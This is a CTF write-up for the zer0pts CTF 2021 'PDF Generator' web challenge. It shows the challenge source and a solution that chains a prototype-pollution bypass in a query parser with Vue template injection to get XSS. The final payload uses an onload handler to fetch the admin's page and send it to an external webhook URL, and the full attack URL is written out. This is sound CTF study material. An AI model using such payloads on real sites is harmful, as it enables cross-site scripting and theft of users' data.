aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

zer0pts CTF 2021 - PDF Generator(unintended)

aszx87410 opened this issue · comments

commented

PDF Generator

Description

I've created a pdf generator check it out

source code:

const express = require('express')
const PDFDocument = require('pdfkit');
const bodyParser = require("body-parser");
const fs = require('fs');
const uuid = require('uuid')
const FLAG = require("./flag")
var morgan = require('morgan')
var path = require('path')
var redis = require('redis')
var request = require('request');
var https = require('https');


const app = express()

var accessLogStream = fs.createWriteStream(path.join(__dirname, 'access.log'), { flags: 'a' })
app.use(morgan('combined', { stream: accessLogStream }))

app.use('/static', express.static('public'))
app.use(function(req, res, next) {
  res.header('Cross-Origin-Opener-Policy', 'unsafe-none');
  next();
});

app.use("/uploads/:file",function(req, res, next){
	if(req.headers['sec-fetch-dest']=='embed'){
		next();
	}
	else{
		res.send('sorry');
	}
});

var urlencodedParser = bodyParser.urlencoded({ extended: false })

app.get('/', (req, res) => {
  res.send(`<!Doctype html>
  <head>
  <title>title</title>
  <script src="/static/bundle.js"></script>
  </head>

  <div id="app">
    <h3>{{title}}</h3>
  </div>
    <p id="name"></p>
    <form action="/text" method="get" >
      <input id="text" type="input" name="text"/><br>
      <input type="submit"/>
    </form>
  <script>
  var params = parseQuery(location.search.slice(1));
  var app = new Vue({
      el: '#app',
      data: {
          title: 'Text to PDF Convertor'
      }
  });
  if(params.name && params.text ){
    document.getElementById("name").innerText = "Hi, "+ params.name;
    document.getElementById("text").value = params.text;
  }
  </script>
  `)
});

app.get("/uploads/:file", (req, res) => {
  var userPath = req.params.file;
  var sanitizedPath = userPath.replace(/[^a-f0-9-]/gi,'_')
  var filename = './uploads/' + sanitizedPath;
  if(fs.existsSync(filename)){
    var file = fs.createReadStream(filename);
    file.on('end', function(){
      fs.unlink(filename, function(err){
        if(err){
          console.log(err);
        }
      });
    })
    file.pipe(res);
  }else{
    res.send('oh its deleted');
  }
});

app.get('/text', urlencodedParser, (req, res) => {
  const ip = req.connection.remoteAddress
  console.log(ip);
  let pdfDoc = new PDFDocument;
  var filename = './uploads/' + uuid.v4()
  pdfDoc.pipe(fs.createWriteStream(filename));
  console.log(ip)
  if(ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"){
    pdfDoc.text(FLAG);
  }else{
    pdfDoc.text(req.query.text);
  }
  pdfDoc.end();
  res.send(`<!Doctype html>
  <head>
  <title>title</title>
  <script src="/static/bundle.js"></script>
  </head>
  <div id="app">
    <h3>{{title}}</h3>
  </div>
  <embed src="${filename}" type="application/pdf" style="width:100%;height:70vh;"></embed>
    <p id="name"></p>
    <p> One more conversion? </p>
    <form action="/text" method="get" >
      <input id="text" type="input" name="text"/><br>
      <input type="submit"/>
    </form>

    <a href="/report">report?</a>
  <html>

  <script>
  var params = parseQuery(location.search.slice(1));
  var app = new Vue({
      el: '#app',
      data: {
          title: 'Here is your pdf'
      }
  });
  if(params.name && params.text ){
    document.getElementById("name").innerText = "Hi, "+ params.name;
    document.getElementById("text").value = params.text;
  }
  </script>
  `);
});

Writeup

It's a simple service that we pass text to /text and it will returns a page with embed pdf file with the text you gave.

Let's check where is the flag first, it's inside /text route:

app.get('/text', urlencodedParser, (req, res) => {
  const ip = req.connection.remoteAddress
  console.log(ip);
  let pdfDoc = new PDFDocument;
  var filename = './uploads/' + uuid.v4()
  pdfDoc.pipe(fs.createWriteStream(filename));
  console.log(ip)
  if(ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"){
    pdfDoc.text(FLAG);
  }else{
    pdfDoc.text(req.query.text);
  }
  pdfDoc.end();
  // ...
})

If the request is from 127.0.0.1, we can get the pdf file which has the flag. Combined this with the fact that there is a page to report the url, I guess we need to do something like:

  1. figure out how to XSS via query string
  2. use the XSS vulnerability above, fetch '/text' and get the content
  3. from the content we know the uuid for the flag pdf
  4. read this pdf file
  5. win!

It's hard to find the vulnerability because it looks quite simple:

<!Doctype html>
  <head>
  <title>title</title>
  <script src="/static/bundle.js"></script>
  </head>

  <div id="app">
    <h3>{{title}}</h3>
  </div>
    <p id="name"></p>
    <form action="/text" method="get" >
      <input id="text" type="input" name="text"/><br>
      <input type="submit"/>
    </form>
  <script>
  var params = parseQuery(location.search.slice(1));
  var app = new Vue({
      el: '#app',
      data: {
          title: 'Text to PDF Convertor'
      }
  });
  if(params.name && params.text ){
    document.getElementById("name").innerText = "Hi, "+ params.name;
    document.getElementById("text").value = params.text;
  }
  </script>

By checking bundle.js we can find the version of Vue and a suspicious snippet of code.

/*
utils 
*/
var digitTest = /^\d+$/,
	keyBreaker = /([^\[\]]+)|(\[\])/g,
	paramTest = /([^?#]*)(#.*)?$/,
	entityRegex = /%([^0-9a-f][0-9a-f]|[0-9a-f][^0-9a-f]|[^0-9a-f][^0-9a-f])/i,
	startChars = {"#": true,"?": true},
	prep = function (str) {
		if (startChars[str.charAt(0)] === true) {
			str = str.substr(1);
		}
		str = str.replace(/\+/g, ' ');

		try {
			return decodeURIComponent(str);
		}
		catch (e) {
			return decodeURIComponent(str.replace(entityRegex, function(match, hex) {
				return '%25' + hex;
			}));
		}
	};

function isArrayLikeName(name) {
	return digitTest.test(name) || name === '[]';
}
function idenity(value){ return value; }
function parseQuery(params, valueDeserializer) {
    valueDeserializer = valueDeserializer || idenity;
    var data = {}, pairs, lastPart;
    if (params && paramTest.test(params)) {
        pairs = params.split('&');
        pairs.forEach(function (pair) {
            var parts = pair.split('='),
                key = prep(parts.shift()),
                value = prep(parts.join('=')),
                current = data;
            if (key) {
                parts = key.match(keyBreaker);
                for (var j = 0, l = parts.length - 1; j < l; j++) {
                    var currentName = parts[j],
                        nextName = parts[j + 1],
                        currentIsArray = isArrayLikeName(currentName) && current instanceof Array;
                    if (!current[currentName]) {
                        if(currentIsArray) {
                            current.push( isArrayLikeName(nextName) ? [] : {} );
                        } else {
                            current[currentName] = isArrayLikeName(nextName) ? [] : {};}

                    }
                    if(currentIsArray) {
                        current = current[current.length - 1];
                    } else {
                        current = current[currentName];
                    }

                }
                lastPart = parts.pop();
                if ( isArrayLikeName(lastPart) ) {
                    current.push(valueDeserializer(value));
                } else {
			if(currentName !== "__proto__")
                    current[lastPart] = valueDeserializer(value);
                }
            }
        });
    }
    return data;
};
/*!
 * Vue.js v2.6.10
 * (c) 2014-2019 Evan You
 * Released under the MIT License.
 */

If I don't know how to start, I always check if there is any vulnerabilities in the package. So I checked Vue first: https://github.com/vuejs/vue/releases

There is a security fix for serialize-javascript so I follow this clue and see if I can find any working POC and details.

After 30 minutes of searching, the answer is no, I can't find useful any resources. Then I googled another keyword: Vue XSS, found this good resource: https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets but it seems nothing to do with this challenge.

Trying to find known vulnerabilities in Vue doesn't work, so I get back to the suspicious parseQuery function.

Only one line catch my eyes: if(currentName !== "__proto__"). It's a classic way to prevent prototype pollution, a classic wrong way. We can use ['constructor']['prototype'] to bypass it.

Because of this clue, I guess it might be prototype pollution lead to XSS.

Although I am a front-end engineer, I only familiar with React and have almost no knowledge about Vue, maybe it's a good opportunity to pick it up?

By googling vue vulnerabilities, we can find this official page: https://vuejs.org/v2/guide/security.html

The first rule is, never use non-trusted templates like this:

new Vue({
  el: '#app',
  template: `<div>` + userProvidedString + `</div>` // NEVER DO THIS
})

It gave me an idea so I tried this as POC:

var app = new Vue({
  el: '#app',
  template: '<img src=x onerror="alert(1)">',
  data: {
      title: 'Text to PDF Convertor'
  }
});

As I expected, our sweet old friend alert popup has shown. Then I tried if prototype pollution works:

var a = {}
a['__proto__']['template'] = '<img src=x onerror="alert(1)">'
var app = new Vue({
    el: '#app',
    data: {
        title: 'Text to PDF Convertor'
    }
});

Lucky! It works like a charm. My guess is correct, we can chain prototype pollution and Vue template to do XSS.

So now the problem is, how to do prototype pollution? I am too lazy to read the source code of parseQuery carefully, so I just copied the function and tried this on my local:

var payload = 'a[constructor][prototype][template]=' + encodeURIComponent('<img src=x onerror="alert(1)">')
var params = parseQuery(payload);
var app = new Vue({
  el: '#app',
  data: {
      title: 'Text to PDF Convertor'
  }
});

Fortunately, it works again.

It's almost there, just fetch /text and pass the content to my own server:

<embed src=1 onload="fetch(`/text`).then(a=>a.text()).then(a=>fetch('https://webhook.site/57250f91-2cec-4f0b-a11c-e5bd4bde108f?c='+btoa(a)))">

I used base64 encode because the content has many lines.

full url:

https://pdfgen.ctf.zer0pts.com:8443/?a[constructor][prototype][template]=%3Cembed%20src%3D1%20onload%3D%22fetch%28%60%2Ftext%60%29.then%28a%3D%3Ea.text%28%29%29.then%28a%3D%3Efetch%28%27https%3A%2F%2Fwebhook.site%2F57250f91-2cec-4f0b-a11c-e5bd4bde108f%3Fc%3D%27%2Bbtoa%28a%29%29%29%22%3E

After report the url above and received the result, we can get the uuid for the flag pdf file. Now go to the browser and replace the embed src with correct uuid:

First blood!

But it turns out it's unintended 😂

See official writeup for more details: https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges